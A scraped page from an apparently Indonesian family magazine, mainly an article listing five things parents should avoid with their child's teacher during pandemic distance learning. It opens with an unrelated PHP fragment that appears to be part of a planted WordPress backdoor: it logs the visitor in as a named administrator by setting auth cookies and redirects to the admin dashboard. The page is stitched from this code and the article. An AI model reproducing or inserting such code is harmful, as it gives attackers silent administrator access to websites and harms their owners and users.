user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Family
Jangan Lakukan 5 Hal Ini Terhadap Guru Anak Anda

8 Aug 2021

Foto: Freepik

Selama masa pandemi, semua orang jadi stres. Orang tua stres karena harus lebih banyak menemani anak belajar di rumah, anak stres karena tak bisa main dengan teman sekolah. Masalah yang dihadapi siswa bisa jadi lebih banyak daripada ketika sekolah tatap muka langsung, sehingga Anda perlu lebih sering menghubungi guru. Namun, jika tekanan pekerjaan sedang tinggi, sementara anak juga sedang perlu perhatian lebih, bisa-bisa komunikasi yang seharusnya terjalin baik dengan guru malah jadi berantakan. 
 
Melansir laman Reader's Digest, ini 5 hal yang sebaiknya Anda hindari:
 

1. Mengkritik via media sosial 

Reputasi guru dan sekolah yang sudah dibangun bertahun-tahun bisa hancur gara-gara ada orang tua melemparkan kritik keras via media sosial. Padahal, bisa jadi masalahnya sangat sepele. Kritik di medsos bisa mengundang komentar dan judgement dari lingkaran sosial orang tua, padahal yang ikut-ikutan berkomentar belum tentu paham masalah sebenarnya.
 
Sampaikan kritik atau komentar kepada guru atau perwakilan sekolah. Siapa tahu, sebenarnya guru atau sekolah anak Anda tidak melakukan kesalahan apa pun, tapi Anda sudah keburu salah paham dan emosional. 
 

2. Marah-marah via e-mail

Asal tahu saja, para guru punya tugas berat saat pembelajaran jarak jauh. Mereka harus memastikan bahwa materi tersampaikan dengan baik tanpa membebani siswa yang sudah bosan setengah mati akibat harus di rumah saja. Jadi, jangan tambah lagi beban pikirannya dengan e-mail yang penuh emosi. Apalagi, karena mengandalkan kata-kata (tanpa gestur dan nada suara), e-mail Anda bisa jadi malah bikin salah interpretasi. 
 
Jika ada masalah, lebih baik Anda bicarakan secara langsung dengan guru. Tapi, jangan tiba-tiba menelepon saat jam mengajar (karena dia kan pasti sibuk mengajar). Paling aman, kirim pesan dahulu dan tanyakan kapan waktu paling pas untuk berdiskusi. 
 

3. Menyalahkan guru atas masalah anak

Ketika siswa tidak mengerjakan beberapa tugas dan jarang hadir di kelas online, ada kemungkinan orang tua akan menyalahkan guru atau sekolah, menilai mereka terlalu banyak memberi tugas, terlalu membebani anak, dan sebagainya. Padahal, bisa jadi masalahnya justru pada anak. Misalnya ia tidak bisa belajar dan berkonsentrasi karena suasana belajar yang tidak nyaman. Ini adalah peran orang tua untuk menciptakan suasana belajar yang nyaman untuk anak.
 
Advertisement
Orang tua perlu menyadari bahwa sikap anak bisa berbeda ketika berada di ruang kelas (baik offline maupun online) dan di rumah. Karena itu, dengarkan masalah yang disampaikan oleh guru dan bekerja samalah dengan guru untuk mencari solusi terbaik, tanpa menyalahkan siapa pun. 
 

4. Mengajari guru cara mengajar

Anda mungkin paham apa yang terbaik untuk anak Anda. Tapi, pasti tidak tahu yang terbaik untuk siswa satu kelas. Setiap siswa memiliki kebutuhan berbeda dan bisa jadi memerlukan pendekatan yang berbeda-beda pula. Hindari memberi saran dengan mengatakan: harusnya guru, tuh, begini…, sekalipun Anda juga guru atau mantan guru. 
 
Percayakan anak Anda pada gurunya. Jika Anda melihat masalah yang memerlukan perhatian guru, misalnya siswa mogok belajar atau tidak mau keluar kamar, bicarakan dengan guru. 
 

5. Menyembunyikan masalah di rumah

Kejadian apa pun yang terjadi di rumah bisa memengaruhi anak, termasuk dalam hal belajar. Masalah itu bisa berupa perceraian, kakek atau nenek yang meninggal, atau bahkan binatang peliharaan yang hilang. Kondisi psikis anak yang sedang down bisa berdampak negatif pada proses belajar dan juga hasil tes. 
 
Anda tidak harus menceritakan kejadian yang detail kepada guru. Namun, ia perlu mengetahui latar belakang masalah yang membuat anak mengalami gangguan belajar dan bisa bantu mencari solusi terbaik. Plus, ia bisa membantu mencarikan expert yang mungkin dibutuhkan anak, misalnya psikolog. (f)


Baca Juga: 
Hari Anak Nasional, Ini 4 Kiat Memuji Si Kecil Agar Ia Jadi Pribadi yang Percaya Diri
Ajak Anak Belajar Sains Lewat 5 Eksperimen Seru Ini
Kapan Saat Tepat Daftarkan Anak ke Sekolah? Cari Jawabannya di Sini



Topic

#sekolahjarakjauh, #belajardarirumah, #anak

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?